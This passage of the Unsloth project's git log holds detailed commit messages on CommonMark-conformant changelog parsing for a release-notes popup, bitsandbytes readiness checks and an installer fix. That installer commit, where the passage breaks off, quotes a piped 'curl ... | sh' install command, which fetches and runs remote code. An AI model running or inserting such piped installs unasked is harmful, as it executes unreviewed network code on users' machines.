the operators were consumed as if they were a tag.

Track HTML comments while collecting preview lines. A commented-out bullet
was previewed as a published change even though Markdown never renders it.

Report a remote lookup failure whenever nothing matched. The bundled
changelog cannot know a version newer than the install, so discarding the
error made an offline lookup read as "no notes were published". The hook now
treats a reported failure as its retryable error state.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: code-span delimiters, stale notes, retry past cached failures

Treat an HTML comment delimiter inside inline code as literal. A note reading
"Type `<!--` to begin a comment" put the parser into comment state, so every
release below it was swallowed into the entry above and became unfindable.
Applied to the preview extractor too.

Return no notes while the offered version differs from the fetched one. On
the render where the version changes, the hook still held the previous
release's notes, which the panel would show for a frame.

Let retry bypass a cached remote failure via a refresh flag on the endpoint.
Failures are cached for five minutes, so the visible Retry action could not
recover until the TTL expired. A cached success is still reused, so retries
cannot hammer the remote.

* Address review: CommonMark indentation, desktop release notes link

Allow up to three leading spaces on release headings and fences, and treat
four as indented code. An indented heading was unreachable and its notes were
appended to the release above, while an indented backtick line opened a fence
that swallowed later headings.

Link desktop release notes to the release page for the offered version on
every platform. The existing URL is built only in manual Linux package mode,
so in-app updates on macOS, Windows and AppImage fell back to the generic
changelog. The install button keeps using the manual URL.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: wrapped prose, autolinks, abbreviations in the preview

Accumulate contiguous prose lines into one preview item. A paragraph wrapped
across source lines renders as one block but previewed as three fragments,
which also ate the four-item limit.

Keep Markdown autolinks. <https://example.com/notes> was stripped as if it
were a tag, so "See <https://example.com/notes> for details" previewed as
"See for details".

Do not split the lead sentence at an abbreviation. "Supports several formats,
e.g. GGUF and Safetensors." highlighted only up to "e.g." and dimmed the
actual change; known abbreviations and single initials are skipped now.

* Address review: park code spans first, skip indented code blocks

Park code spans before any other inline transformation. Tags, links, images
and emphasis inside a span are literal, but the strips ran first, so "Use
`<button>` for actions" previewed as "Use for actions".

Skip lines inside an indented code block when collecting bullets. A "- pip
install ..." line in a four-space-indented block became the headline and
pushed out the real prose, though Markdown renders it as code. Continuation
lines of an open bullet are unaffected.

* Studio: skip raw HTML blocks when reading release notes

A <pre>, <script>, <style> or <textarea> block renders literally, so a
sample '## 9.9.9' heading inside one was indexed as a release and cut the
real section's body short. The preview had the same gap and listed sample
bullets as notes.

Both readers now track type 1 HTML blocks and skip their contents. Blocks
open only at the start of a line, so a tag named mid-sentence stays inline
text, and <details> is type 6 so its Markdown still parses.

* Studio: read HTML blocks the way CommonMark renders them

A fence inside a <pre> block was treated as a real fence, so the block's
closing tag was swallowed and every release below it disappeared. Raw HTML
state is now checked before fences, in both readers.

Type 6 and 7 blocks (<details>, <div>, a bare tag on its own line) run to
the next blank line, so a heading pressed against the opening tag is not a
release either. Type 7 cannot interrupt a paragraph, so prose followed by a
bare tag is unaffected.

Checked against a CommonMark reference: 20000 generated well-formed
changelogs now agree exactly on which headings are releases, and every
previewed note is text the renderer really shows.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: restore preview types dropped in the scanner refactor

The previous commit's refactor removed the Bullet and preview item
interfaces, so tsc -b failed and every job that builds the frontend
stopped there.

* Studio: fix release-notes preview and packaging review findings

Preview: a code span now closes on a run of the same length, so a note
containing backticks keeps them; thematic breaks no longer take a preview
slot; a quoted list is example output, so it stays out of the headline
bullets and is only used when a section has none of its own.

Popup: a failed lookup keeps the changelog link beside Retry, which the web
banner always offered before, and the desktop popup waits briefly for the
auto-auth token instead of recording a failure the user has to clear.

Packaging: the changelog snapshot is made by the build backend, so
python -m build, pip install . and sdist builds all ship the offline copy,
not only build.sh.

* Studio: scope the changelog fallback and hide staged sections

Installed, the levels above studio/ are site-packages, so a stray
CHANGELOG.md left there by another package outranked the bundled
snapshot. Those levels are now searched only when a checkout marker
(pyproject.toml or .git) is present, so a source checkout still serves
the editable file.

A section staged as only an HTML comment renders as nothing but was
reported as matched, leaving an empty notes surface. Notes that render
nothing now read as unpublished, so the popup links out instead.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: cover the remaining raw block forms and repository links

Parser and preview: processing instructions, declarations and CDATA are
literal like <pre>, so a sample heading or bullet inside one is no longer
read as a release. ATX headings now need a space or tab after the hashes,
matching CommonMark, so a pasted non-breaking space no longer truncates
the release above it.

Popup: the notes region follows the viewport and the card scrolls as a
backstop, so a window under about 430px high no longer pushes the title
and dismiss control off screen. Relative links in the notes resolve against
the repository instead of Studio's origin, where the renderer blocked them.

* Studio: reference-style images, empty previews and version queries

Reference definitions now resolve against the raw host when the label is
used as an image, so ![alt][arch] loads the file instead of its HTML page
on GitHub. Labels are matched the way CommonMark compares them, and a
reference written inside a fenced block does not count.

Notes that preview as nothing, such as a lone command block, no longer
leave an empty muted strip in the collapsed popup; expanding still shows
them. A version query that cannot parse is rejected up front rather than
looked up and reported as no notes.

* Studio: Markdown scanning fixes across the release notes path

Code spans are now scanned rather than matched by pattern, so a run of
backticks closes only on a run of the same length. The preview and the
link resolver share that scanner, so a link inside `a``b [x](y.md)`
stays literal in both.

Also: a closing fence may carry only spaces or tabs, so a delimiter with a
non-breaking space after it stays code in all three scanners; escaped
parentheses in a link target resolve to the literal path instead of being
mangled; the collapsed preview decodes entities the way the expanded view
renders them, while code spans stay literal; and release notes are fetched
through authFetch so an expired access token is refreshed and retried.

* Changelog: real 2026.7.5 notes, led by the AMD release

Fills the section the popup reads with the actual headline changes, so the
collapsed preview shows real content instead of placeholder notes. Leads with
AMD support and covers the 23 July update: RDNA2 and Gorgon Halo, Strix Halo
detection, RDNA4 and ROCm failure recovery, 2x faster unified memory loading,
whisper.cpp dictation, and rollback environment cleanup.

* Studio: fix release-notes text handling found by adversarial testing

Line endings are normalised first: a CRLF body from the desktop updater no
longer hides fences, so a code sample cannot become a headline bullet, and
lone CR text splits into bullets.

Preview: reference links and images render as their text, a definition line
renders as nothing, parentheses in a destination no longer truncate the
sentence, escaped punctuation stays literal, and a fence indented into a
list item is treated as the block it is.

Links: a badge resolves both its image and its outer link, indented code and
code spans that cross a line are left alone, a definition cannot interrupt a
paragraph, and image alt text no longer decides a label's host.

Also: an escaped backtick cannot open a code span, park sentinels in the
source cannot swap content, two in-flight requests for one version resolve
in order, and repeated bullets no longer share a React key.

Comment scanning no longer rescans code spans per delimiter and span lookup
is a binary search: the worst inputs measured drop from 96ms to 1ms at the
20k cap, and from 544ms to 15ms at 200k.

* Studio: parser and fetch fixes found by adversarial testing

A comment marker written in prose no longer swallows the rest of the file.
Only a comment that starts a line opens a block; one written mid-sentence is
inline HTML and hides its own line at most. This was the worst case found:
a single stray marker made every release below it unreachable and served
their notes under the newer version's heading.

Also in the parser: a closing delimiter takes its whole line, so a heading
glued after it is not a release; an exact heading is never shadowed by a
zero-padded one; setext headings are release boundaries; any heading, rule
or definition ends a paragraph; and the code-span guard is a linear scan
rather than a backtracking pattern, so 20k backticks parse in a millisecond
instead of over a minute.

Fetching: one deadline for the whole response with chunked reads, so a
trickling server cannot hold a worker for minutes, waiters give up instead
of queueing behind a stalled fetch, and identity encoding is requested so a
compressing proxy cannot produce mojibake notes. Truncated notes close an
open fence.

UI: images and the renderer's own link dialog are held inside the card,
which the shared preview's blanket max-width reset had let escape, and only
the notes region scrolls so the dismiss control stays reachable on a short
viewport.

The developer update override no longer beats the documented opt-out, and
its value has to parse as a version.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: CommonMark paragraph and block rules across the notes path

Setext detection now requires plain paragraph text above the underline. A
list item followed by --- is a list and a rule, not a heading: reading it as
one discarded the bullet and every note after it.

A backtick fence whose info string holds a backtick is not a fence, so such
a line no longer swallows the releases below it in the parser, the preview
and the link resolver.

Preview: only an ordered list starting at 1 interrupts a paragraph, an
unresolved reference keeps its brackets, a comment written mid-sentence
hides its own line at most instead of the rest of the document, a raw block
closer takes its whole line, and a code span closer after a backslash still
closes, since escapes do not apply inside a span.

Links: raw HTML blocks are literal, an escaped opener is not a link, and a
definition under a heading is a definition.

The overlay stack is capped to the viewport and both overlays can give up
height, so a long download list no longer pushes the update card's title and
dismiss control off screen.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: desktop notes by backend version, desktop stack cap, fetch budget

latest.json now publishes the backend release the desktop build pins, and
both desktop paths carry it: the manual metadata check through Rust, and the
in-app updater through the raw metadata it already exposes. The popup looks
release notes up by that version, so desktop stops asking CHANGELOG.md for
an app SemVer it never contains and falling back to the generic installer
text. Metadata without the field still parses and behaves as before.

The desktop overlay stack is capped to the viewport like the browser one,
since the download panel shares it and the card's own cap cannot see a
sibling.

The fetch budget now bounds each read, not just the gap between reads. Slow
headers followed by a slow body held a worker for 5.6s against a 3s budget;
it is 3.0s now, and a timeout is reported as one.

* Studio: keep list-nested headings out of the release index

A `## <version>` heading indented to a list item's content column is inside
that item in CommonMark, not a release boundary. Reading it as one truncated
the real release and indexed a version that does not exist.

parse_changelog now tracks the open list items by the column their content
starts at, and only counts a heading left of that column. Supporting rules,
each checked against markdown-it (commonmark preset): a marker needs
whitespace after it, so `2.0` stays a setext version; an item interrupts a
paragraph only when it has content, and an ordered one only when it starts at
1; an empty item takes one blank line; a dedented fence, break or heading
closes the item; and `- ## 2.0` is a heading inside the item.

* Studio: whole-paragraph setext headings, uppercase declarations, escaped marks

Three CommonMark conformance fixes on the notes path, each checked against
markdown-it (commonmark preset).

A setext heading is the whole paragraph above the underline, so a heading that
wraps kept its version only on the first line while the parser read the last:
`2026.7.5 - Release` over `July 25` left that release unindexed and its notes
unreachable. The parser now tracks every line of the open paragraph, including
lazy continuations, and stops at whatever really interrupts it: a quote marker,
a bullet, or an ordered marker starting at 1.

A type 4 HTML block needs an uppercase letter after `<!`, so prose mentioning
`<!note` was hiding every release below it until the next `>`.

In the link resolver, `\![alt][label]` renders as a link, so its definition
resolves to the file's page on GitHub rather than the raw-content host.

* Studio: the preview needs the uppercase declaration rule too

The backend parser stopped treating `<!note` as an HTML block, but the
collapsed preview still did, so prose mentioning one emptied the preview of
every bullet below it while the expanded notes rendered them. A shipped test
now pins the two to the same rule.

* Treat an empty HTML comment as closed and always release the changelog fetch flag

<!--> and <!---> are complete comments in CommonMark: the closer overlaps the
opener, so searching for --> past the opener never found it and the scanner
stayed in comment state for the rest of the file. An empty comment used as a
section marker hid every release below it, in both the backend parser and the
frontend preview.

get_remote_changelog cleared its single-flight flag only after except Exception,
so a BaseException stranded it and every later caller waited out the full
deadline for the life of the process. Move the release into a finally.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Compare resolved changelog paths instead of a hardcoded checkout name

The ordering assertion matched the string suffix /unsloth/CHANGELOG.md, so it
raised StopIteration in any checkout not literally named unsloth, and on
Windows the separator is a backslash so the suffix never matched there either.
Both are unrelated to the ordering under test. Verified failing on
ubuntu-24.04, macos-14-arm64 and windows-2025 alike, and passing after.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scan backtick runs once instead of rescanning the suffix per opener

Every unmatched opener rescanned the rest of the line and the outer loop then
advanced by a single run, so a line of runs of 1, 2, 3 ... backticks was
quadratic: 321 KB took 7.688s, and release notes are reparsed on every popup
request, so one malformed remote changelog could tie up backend workers across
installed clients. Collect the runs in one pass and walk a cursor per run
length, since a length that runs out of partners stays out. Same 321 KB now
takes 0.013s and 5 MB takes 0.205s. Verified identical output against the old
implementation on 30000 randomized lines.

* Read type 6 and 7 HTML containers in the link resolver too

The resolver masked only type 1 blocks (pre, script, style, textarea), while
the backend parser and the collapsed preview already apply the type 6 and 7
rules, so the three disagreed on the same notes. A <details> or <div> with no
blank line inside is a type 6 block whose contents render verbatim, so two
things went wrong there: a relative link was rewritten into text the reader
sees literally, and a fence inside the block was taken for a real fence, which
silently stopped every link below it from resolving. A blank line, not the
closing tag, ends these blocks, so the common '<div align="center">' followed
by a blank line still holds Markdown and still resolves.

* Mask comments before fences, split only on Markdown line endings, stage the snapshot

Three separate reports, all confirmed against head.

The link resolver tracked no comment state, so a fence delimiter hidden inside
an HTML comment was read as a real fence. The fence then stayed open and every
visible line below was classified as code, so none of its links resolved: one
commented-out draft containing a stray backtick run silently broke the rest of
the notes. Comments are masked now, but only outside a fence, since fenced
content is literal and a comment opener in it is not one. Commented ranges join
the code spans, so a link the reader cannot see is not rewritten either.
Verified with 9 cases under node; 2 fail on the previous file.

str.splitlines also breaks on U+2028, U+2029, NEL, vertical tab and form feed,
none of which end a line in CommonMark. A separator sitting in prose ahead of
"## 9.9.9" made the parser index a release that renders nowhere and truncate
the notes above it: measured, the version list went from 2.0, 9.9.9, 1.0 to
2.0, 1.0 and the 2.0 body stopped being cut at the separator.

The build wrote the snapshot beside the checked-in sources, so a PEP 517 build
against an immutable checkout (Nix, Bazel, a read-only container mount) raised
PermissionError before build_py started and produced no wheel at all. The
source-tree copy is best effort now and the wheel takes its copy from the
staging directory. Reproduced both ways against a read-only package dir.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Use the backend's heading and quote marker rules in the preview

An ATX heading needs an ASCII space or tab after the marker, which is exactly
what _HEADING_PATTERN requires. The \s class also matches a non-breaking space,
so prose beginning "## Important change" with one was classified as a heading
and discarded by collectBullets, and a prose-only release then had no collapsed
preview at all rather than a wrong one.

A blockquote marker takes at most three leading spaces, like every other marker
in this file. Accepting any run let an indented code sample containing
"> - sample output" shed its indentation and enter the collector, so a release
with no real bullets showed code as its summary.

Both reproduced under node against the real module: the two cases fail on the
previous file and pass now, with a real heading, a real quoted bullet and an
ordinary bullet unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Collect preview reference labels only from lines that can be definitions

A definition-shaped line inside an indented code block or a deep fence is
literal text, so CommonMark leaves a later "[Beta] support" unresolved with its
brackets showing. The pre-scan ran over every line regardless, so the label was
recorded and toPlainText stripped the brackets: the collapsed preview claimed a
resolved reference the expanded notes do not have.

It now skips the same code the collector pass skips. A real definition takes at
most three spaces of indentation, so the indent test cannot reject one, which
the second case checks. Reproduced under node: the indented-code definition
resolved "Beta support" before and keeps its brackets now.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Let a document-level HTML block close an open list item

CommonMark HTML blocks of types 1 to 6 interrupt a paragraph, so a "<div>" to
the left of an open list item closes it and a following one-to-three-space
indented "## 2.0" is a real document heading. Two things stopped that: the block
opener was blanked before the list tracker saw it, so it read as a blank line,
and _may_be_lazy treated it as ordinary text that could continue the item's
paragraph. The item therefore stayed open and the release below the block was
swallowed entirely.

The opener's indentation is now taken before it is hidden, the way a fence
opener's already was, and an HTML block opener is no longer a candidate for lazy
continuation. Type 7 cannot interrupt a paragraph and is deliberately excluded,
since after_paragraph is the only state this helper is asked about.

Measured on the reported shape: the version list went from 3.0, 1.0 to
3.0, 2.0, 1.0. The test also pins the two cases that must not change, an
indented heading genuinely nested in an item and an ordinary lazy continuation,
both of which still suppress the heading.

* Let the download panel shrink inside the capped overlay stack

The bottom-right stack is capped to the viewport, but a flex item defaults to
min-height:auto, so the download panel's outer wrapper could not shrink below
its own content. min-h-0 had been added to the nested panel and not to this
wrapper, so on a short viewport the cap was absorbed by the update card, whose
header and actions are fixed, instead of by the download list, which scrolls.

Only the shared-stack branch takes it. Standalone is positioned fixed and is not
a flex item at all.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten release notes comments

Shorten the comments and docs added with the update popup release notes
so each explains its line in as few words as possible. Comments only, no
behaviour change.

* Measure release-notes indentation from the container

CommonMark measures a block's indentation from its container, not from the
left margin (spec 0.31.2 sections 4.4 and 5.2). The three changelog scanners
measured from the margin in different places, so they disagreed with the
renderer and with each other.

Under "- Details:" the content column is 2, so a four-space line is two
columns in: a paragraph holding a link. The link resolver read it as an
indented code block and left the destination relative, so it resolved against
Studio's own origin instead of the repository.

At document level the same four spaces really are code, and a top-level
bullet is not indented enough to continue the block. The preview promoted an
indented line that looked like a fence opener to a list-contained fence, so
with no later closer every bullet below it was skipped and the collapsed
popup lost its summary.

A fence is scoped to its container too: with no closing line it runs to the
end of the containing block, not the end of the document (section 4.5). A
dedented "## 2.0" closes the list item the fence sits in, so it is a real
release heading. Document-wide fence state kept the block open, so one
missing closing line hid every release below it.

Both frontend scanners now read their list columns from one module ported
from the backend's own tracker, which keeps the three in step.

Two smaller fixes ride along. A release body written as a GFM table rendered
as a grid but previewed as its raw "| Change | Detail | | --- | --- |"
delimiters, so table rows are now dropped from the collapsed summary the way
a code block already is. The comment scanner restarted its code-span search
at the first span for every opener, so a line of N spans and N openers cost N
squared: a 203 KiB line, well inside the 2 MiB the fetcher accepts, took 10.9s
and now takes 41ms.

Differential fuzzing against a CommonMark reference implementation puts the
parser's heading mismatches at 11 of 14275 documents, down from 617, and the
link resolver's at 147 of 6000, down from 217.

* Keep Retry reachable when the release notes fetch fails

The panel took fallbackMarkdown for every response that did not match, error
included, so markdown was always truthy on desktop and the error branch that
carries the Retry button was unreachable. The fallback there is the updater's
static install blurb, not this release's notes, so a transient failure showed
"Download the Apple Silicon .dmg" where the notes should be, with no way to ask
again until the cache expired.

The hook already separates the two: a reported failure is error and retryable,
"no section for this version" is ready and is not. The fallback now applies only
to the second, which is the case its prop documents.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope an unclosed comment to its block and end a release on a bare ##

Two CommonMark rules the changelog scanners read too strictly.

An HTML block only opens when the line itself begins with a comment marker
(spec 0.31.2 section 4.6, type 2). One written mid-sentence is inline raw HTML
and, unclosed, is ordinary text. The link resolver carried the open state to
every line below instead, so a note reading "- Type <!-- to begin a comment"
masked the relative links under it and they resolved against Studio's own
origin rather than the repository. maskComments now separates the block form
from the inline one and skips an opener sitting inside a code span, the way
_strip_comments and stripCommentSpans already do. The spans are scanned only
once an opener turns up, so a line without one costs what it did before.

An ATX heading's opening sequence may also be followed by the end of the line
(section 4.2), so a bare ## is an empty level-two heading. Both heading
patterns required whitespace after the hashes, so everything below such a line
stayed inside the release above it and the popup could show unrelated notes
under that version. An empty heading carries no version, so it ends the release
without indexing one of its own.

Differential runs against markdown-it-py: section bodies 7769 to 0 mismatches
over 36069 generated documents, comment-heavy link resolution 705 to 53 over
6000, and previews leaking a bare marker as headline text 22484 to 0 over
40000. The residual link cases are all one shape, a comment block opened inside
a list item that outlives the item, which the fence tracker scopes and the
comment tracker does not, in all three scanners alike.

* Give a hidden comment its own column and balance link destinations

A comment is an HTML block, so one written at the margin under a bullet is not
indented enough to continue that item and closes the list. All three scanners
blanked the line before list tracking saw it, which reads as a blank line and
leaves the item open, so a release heading below it looked like nested item
content and the new release merged into the one above. A hidden line now keeps
its own column through _hidden_structure and hiddenStructure, and only its
column, since the text a comment or a raw block hides is not Markdown and must
not open a list of its own. A line inside a block already open is that block's
content and still keeps nothing.

A link destination may hold parentheses while they balance, so [x]((draft).md)
points at (draft).md. The resolver stopped at the first paren, matched an empty
destination and left the markdown alone, so the link resolved against Studio's
own origin. The balanced form counts only while a closing paren or a title
still ends the link, so the stray paren in [x](a(b.md) stays the closer the way
CommonMark reads it rather than being swallowed into a link across lines.

* Scope paragraph state to the container a line is written in

Two lines the parser read as block starts are lazy paragraph text, so the
list they were written under closed early and the heading indented to the
item's content column was indexed as a release the renderer never shows.

A setext underline may never be a lazy continuation line (spec 0.31.2
section 4.3), so `===` written left of an open item is more of that item's
paragraph. Rejecting every underline-shaped line ended the list there. A row
of three dashes is still a thematic break, which does end it.

Lazy continuation runs the other way too: a marker written outside a
blockquote is not text of the quote's paragraph, so `2. item` under `> quote`
opens a list even though an ordered marker past 1 may not interrupt a
paragraph. Paragraph state is now scoped to its container: a quote line
leaves open only the quote's own paragraph, an underline needs one in its own
container, a definition ends one only when there is none to continue, and a
line four columns past its container is code, which may not interrupt.

The frontend pair reads the same tracker, so both scanners now carry the
quote state and a fence inside a list item ends with the item in the preview
the way it already did on the backend.

Measured against markdown-it-py (CommonMark 0.31.2) over 264k generated
documents: 3368 sections now match the renderer, none regressed, and every
list and quote corpus is exact.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Read a fence and an HTML block from the container it opens in

A block is measured from its container and not from the left margin (spec
0.31.2 sections 4.5 and 5.2), but the link resolver's fence, raw HTML and type
6 expressions all started at the margin, so a fence behind a quote marker and
one three columns under a nested bullet opened nothing. The sample inside was
then read as prose, and a relative link written in a code block or a details
body was rewritten into text the reader is shown verbatim. Matching runs of
backticks hid some of it by accident, since the code span scanner pairs them
across lines, but a tilde fence, a closer of a different length and every HTML
block went through. Each line is now read from the container it is written in,
which the list tracker already knew, and a block is scoped to that container
the way a fence inside an item already was: a line to the left of the item, or
outside the quote, ends the block along with it, and a bare quote marker is
the blank line that ends a type 6 block.

A destination holds parentheses while they balance, and a path may nest them,
so [x](((draft)).md) points at ((draft)).md. One nesting level was all the
expression allowed, so anything deeper fell through to the plain form, matched
an empty destination and left the link resolving against Studio's own origin.
The pairs are unrolled to the 32 levels cmark counts, and the balanced form is
still gated on a closer following it, so the stray paren in [x](a(b.md) stays
the closer the way CommonMark reads it rather than inventing a link across
lines.

Measured against markdown-it-py (CommonMark 0.31.2) over 66k generated
documents, comparing the rendered HTML rather than the destinations alone:
7286 documents in the parenthesis corpus and 313 in the container corpus now
match the renderer, and the link and definition corpora are unchanged. One
container document regresses, where closing the HTML block correctly exposes
an unrelated gap of its own: a link reference definition still leaves a
paragraph open, so the indented line below it reads as prose rather than as
code. The list tracker still matches the backend on every step, the repo's own
CHANGELOG resolves identically, and the pathological inputs measure the same.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Read a block from the item its marker opens, and let a comment reach its paragraph

Four things the three changelog scanners read differently from a renderer.

A fence written straight after a list marker is the item's own first content,
measured from the column that content starts, so "- ```md" opens one. All three
scanners matched the whole line and saw nothing, so the code sample below it was
prose: the resolver rewrote a destination the reader sees verbatim, and the
preview offered the info string as a headline bullet. A shared itemContent /
_item_content reads past a marker that really opens an item, capping the padding
the way the list tracker caps it so an over-indented line is still indented code.
An HTML block opener is read the same way, and its marker survives into the
structural line so the item it opens is still tracked.

An HTML block holds no lazy continuation line, so one opened on an item's
continuation line ends where the item does, exactly as a fence there already
did. The backend and the preview ended it only on a blank line, so it ran past
the item and swallowed the next release heading, which made those notes
unreachable and dropped every bullet below it from the collapsed popup. A raw
block inside an item ends on a blank line too, which is where cmark puts it.

A comment written mid-sentence is inline raw HTML belonging to the paragraph
around it, so its "-->" may arrive on a later line of that same paragraph. Ending
it at its own line left a backtick inside it pairing with a real one below, which
hid a following link from the resolver, and left the preview quoting text the
popup body does not show. A shared commentClosesBelow answers whether the closer
arrives before the paragraph breaks; where it does not, the opener stays the
ordinary text a renderer shows, so a note that merely mentions "<!--" still hides
nothing.

Only ASCII punctuation is escapable, so the backslash in "docs\alpha.md" is a
character of the path. Dropping every backslash rewrote it to a path that does
not exist, and a URL parser reads what survives as a separator, so a Windows or
namespaced path pointed at the wrong file either way. The destination expression
now escapes only punctuation, which also means a space still ends a destination:
"[x](a b.md)" and "[x](a(b.md)" are not links, so their paths are left alone
rather than half-rewritten. A destination that runs out of line still resolves,
since its closer is on the line below.

Fuzzed against markdown-it (CommonMark 0.31.2) over 20k-document corpora, with
the whole rewritten document rendered and compared, not just its destinations.
Release headings: 117 to 16 on containers, 88 to 10 on markers, 17 to 12,
nothing new anywhere. Link destinations: 8823 to 104 on markers, 114 to 98 on
comments, nothing new. Whole-document renders: 9271 to 220, 5116 to 245, 1265 to
671. The Python and TypeScript list trackers still agree over 26861 steps, and
itemContent and hiddenStructure agree over another 6335. 321 KB of unmatched
backticks still measures the same.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Let a definition follow a definition, and read a comment from the item it opens in

Three CommonMark conformance fixes in the changelog scanners.

A link reference definition is a block of its own that may not interrupt a
paragraph, so it opens none either: definitions are allowed to run
consecutively (spec 0.31.2 section 4.7). The link resolver counted one as
paragraph text, so every definition after the first fell outside the set of
lines a definition may start on and kept its relative destination, which then
resolved against Studio's own origin. The backend already read the line this
way.

The guard asking whether a `-->` is reachable from an opener read any line
whose first character was punctuation as the start of a new block. A `-->`
written on a line of its own is how a multiline comment is ordinarily closed,
and a wrapped line may open with emphasis, so neither counted as more of the
paragraph carrying the comment. The comment never closed and the collapsed
popup showed the author's internal note to the reader. It now tests for a
block that may actually interrupt a paragraph.

A comment is an HTML block too (section 4.6, type 2), so one written as a list
item's first content opens inside that item exactly as a fence written there
does. All three scanners looked for the opener at the margin of the line as
written, so a marker in front of it hid the block: the resolver rewrote a
destination inside raw HTML, which Streamdown then shows the reader as a
literal URL, and the preview quoted the hidden note back at them as though the
bullet were Markdown. The opener is now read from the item's content, the
marker survives into the structural line so the item it opens is still
tracked, and the block is scoped to that item the way a fence there is.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten the release notes comments without losing the reasons they record

---------

Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-28 21:26:43 -07:00
Daniel Han
7b068090b2
Fix bitsandbytes zombie module breaking test collection on CPU runners (#7580)
* Fix bitsandbytes zombie module breaking test collection

A partially failed `import bitsandbytes` leaves the package half-imported:
CPython evicts only the parent from sys.modules and keeps every submodule it
had already loaded. The next import re-executes __init__ but every
`from .x import y` is served from cache, so the submodule attributes are never
rebound. The package imports "successfully" while `bnb.functional` is gone.

Bind the submodule via `import bitsandbytes.functional as bnb_functional`,
which reads sys.modules directly and survives that state, and import
bitsandbytes in tests/conftest.py on the real CPU path before
torch.cuda.is_available() is mocked, so the half-imported state is never
created in the first place.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 21:18:05 -07:00
Daniel Han
f44379d9e8
Clear ALLOW_BITSANDBYTES when the bitsandbytes native kernels are not real (#7578)
* Clear ALLOW_BITSANDBYTES when the bitsandbytes native kernels are not real

From bitsandbytes 0.46 a wheel whose native library never loaded still imports and
resolves every ctypes handle: BNBNativeLibrary.__getattr__ returns a throw_on_call
closure, and a dead library is replaced wholesale by ErrorHandlerMockBNBNativeLibrary,
which does the same for every name. Nothing raises while kernels/utils.py binds them
at module scope, so device_type.py's guarded import sees a healthy wheel,
ALLOW_BITSANDBYTES stays true, loader.py forwards the default load_in_4bit=True and
the run dies inside a kernel instead of degrading to 16bit.

Probe the handles the kernels actually bind and clear the flags when they are not
native. A real handle is a ctypes function pointer and carries restype; a deferred
failure is a Python function and does not.

Scoped to the capability flags on purpose. The module stays bound and get_ptr keeps
pointing at bitsandbytes, because these shapes import perfectly well and treating
them as absent would disable a wheel whose Python side works - a CPU-only install is
exactly that shape.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Only clear the flags when the native library is dead, not partially exporting

ALLOW_BITSANDBYTES gates 8bit as well as 4bit - loader.py:505-510 clears both - so
failing the check on one missing 4bit symbol would silently downgrade an otherwise
valid LLM.int8 request to 16bit. A library that exports some of these handles is
alive; only one where none of them is a ctypes function pointer is dead, which is
the CPU-only and ErrorHandlerMockBNBNativeLibrary case this exists for.

A genuinely missing symbol raises where kernels/utils.py binds it, so it is a crash
no capability flag can rescue and not something to trade 8bit for.

* Gate the bitsandbytes ctypes binds on the same verdict as the flags

Clearing ALLOW_BITSANDBYTES is not enough on its own. kernels/utils.py guarded
the bnb.functional.lib.* binds on `bnb is None` alone, so an importable but dead
wheel still reached them at module scope: bitsandbytes 0.45.5, the floor in
pyproject.toml, sets functional.lib = None when the native library fails to load,
and None.cdequantize_blockwise_fp32 raises right there. That kills import unsloth
outright instead of degrading to 16bit, which is the fallback the cleared flag
exists to reach.

Reuse native_kernels_ready so the bind path and the flag path agree, and take the
_bnb_required branch when they say the library is dead. Touches only the guard
expression, not the binds themselves.

* Tighten the comments on the bitsandbytes kernel readiness probe

* Require every probed handle, and license the module Apache like the rest of unsloth

The readiness verdict now gates the module-scope ctypes binds as well as the flags,
so "at least one handle is native" is no longer the right question. A library that
resolves one symbol and not another passed the probe and then raised AttributeError
at the bind the probe exists to prevent. Require all of them.

That costs 8bit in the partial case, since ALLOW_BITSANDBYTES gates both, but a wheel
missing a symbol is a shape no flag can make safe and refusing it beats crashing on
it. Flipped the test that encoded the old behaviour and added the more realistic
shape: the library loaded, one symbol is still a deferred-failure closure.

LICENSE:190 assigns files under unsloth/* to Apache 2.0, and 87 of the 90 modules
there carry that header, so use it here rather than AGPL.

* State the all-handles rule once instead of three times

---------

Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-28 21:17:33 -07:00
Daniel Han
bc07d3a2df
Installer: wrap install.sh in a function so a piped install cannot report curl (56) (#7548)
* Installer: wrap install.sh in a function so a piped install cannot report curl (56)

`curl -fsSL https://unsloth.ai/install.sh | sh` makes sh the READER of a pipe.
The file is ~150KB, far more than a pipe buffer holds, so a top-level `exit` left
sh dead with thousands of lines unread. The write end then failed and curl
appended

    curl: (56) Failure writing output to destination, passed 16357 returned 0

